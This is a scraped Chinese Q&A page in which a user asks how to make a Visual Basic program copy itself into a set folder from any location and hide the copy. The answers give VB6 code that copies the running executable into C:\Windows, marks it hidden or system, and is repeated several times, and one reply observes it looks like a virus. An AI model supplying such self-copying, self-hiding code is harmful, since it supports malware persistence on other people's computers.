UC知道vb自我复制
来源：百度知道 编辑：UC知道 时间：2024/09/24 19:17:43
自我复制到指定文件夹，要求：1.不是用dos的命令
2.不管本身在什么路径，都自我复制，
3.隐藏文件
4.
但是不知道其他人放在那里,怎么写路径啊
Dim f As String
f = App.Path & "\" & App.EXEName & ".exe" '本身路径
d = "C:\windows\" & app.exename & ".exe"
FileCopy f, d
Call SetAttr("C:\windows\" & app.exename & ".exe", vbHidden)
'vbhidden是隐藏。
'vbSystem是设置为系统文件
2.不管本身在什么路径，都自我复制，
3.隐藏文件
4.
但是不知道其他人放在那里,怎么写路径啊
Dim f As String
f = App.Path & "\" & App.EXEName & ".exe" '本身路径
d = "C:\windows\" & app.exename & ".exe"
FileCopy f, d
Call SetAttr("C:\windows\" & app.exename & ".exe", vbHidden)
'vbhidden是隐藏。
'vbSystem是设置为系统文件
Dim f As String
f = App.Path & "\" & App.EXEName & ".exe" '本身路径
d = "C:\windows\" & app.exename & ".exe"
FileCopy f, d
Call SetAttr("C:\windows\" & app.exename & ".exe", vbHidden)
'vbhidden是隐藏。
'vbSystem是设置为系统文件。
Dim f As String
f = App.Path & "\" & App.EXEName & ".exe" '本身路径
d = "C:\bo.exe" '复制到路径
FileCopy f, d
好像病毒阿